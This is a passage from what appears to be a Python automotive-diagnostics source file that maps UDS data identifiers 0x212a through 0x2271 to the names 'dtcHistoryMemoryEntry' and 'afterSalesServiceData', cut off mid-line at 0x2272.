"dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2130] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2131] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2132] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2133] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2134] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2135] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2136] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2137] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2138] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2139] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2140] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2141] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2142] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2143] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2144] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2145] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2146] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2147] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2148] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2149] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2150] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2151] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2152] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2153] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2154] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2155] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2156] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2157] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2158] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2159] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2160] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2161] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2162] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2163] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2164] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2165] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2166] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2167] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2168] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2169] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2170] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2171] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2172] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2173] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2174] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2175] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2176] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2177] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2178] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2179] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2180] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2181] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2182] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2183] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2184] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2185] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2186] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2187] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2188] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2189] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2190] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2191] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2192] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2193] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2194] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2195] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2196] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2197] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2198] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2199] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x219f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21a9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21aa] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ab] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ac] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ad] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ae] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21af] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21b9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ba] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21be] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21bf] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21c9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ca] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ce] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21cf] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21d9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21da] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21db] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21dc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21dd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21de] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21df] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21e9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ea] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21eb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ec] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ed] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ee] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ef] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f0] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f1] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f2] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f3] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f4] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f5] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f6] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f7] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f8] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21f9] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fa] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fb] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fc] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fd] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21fe] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x21ff] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2200] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2201] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2202] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2203] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2204] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2205] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2206] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2207] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2208] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2209] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x220f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2210] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2211] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2212] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2213] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2214] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2215] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2216] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2217] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2218] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2219] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x221f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2220] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2221] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2222] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2223] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2224] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2225] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2226] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2227] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2228] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2229] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x222f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2230] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2231] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2232] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2233] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2234] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2235] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2236] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2237] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2238] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2239] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x223f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2240] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2241] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2242] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2243] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2244] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2245] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2246] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2247] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2248] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2249] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x224f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2250] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2251] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2252] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2253] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2254] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2255] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2256] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2257] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2258] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2259] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x225f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2260] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2261] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2262] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2263] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2264] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2265] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2266] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2267] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2268] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2269] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x226f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2270] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2271] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2272] = 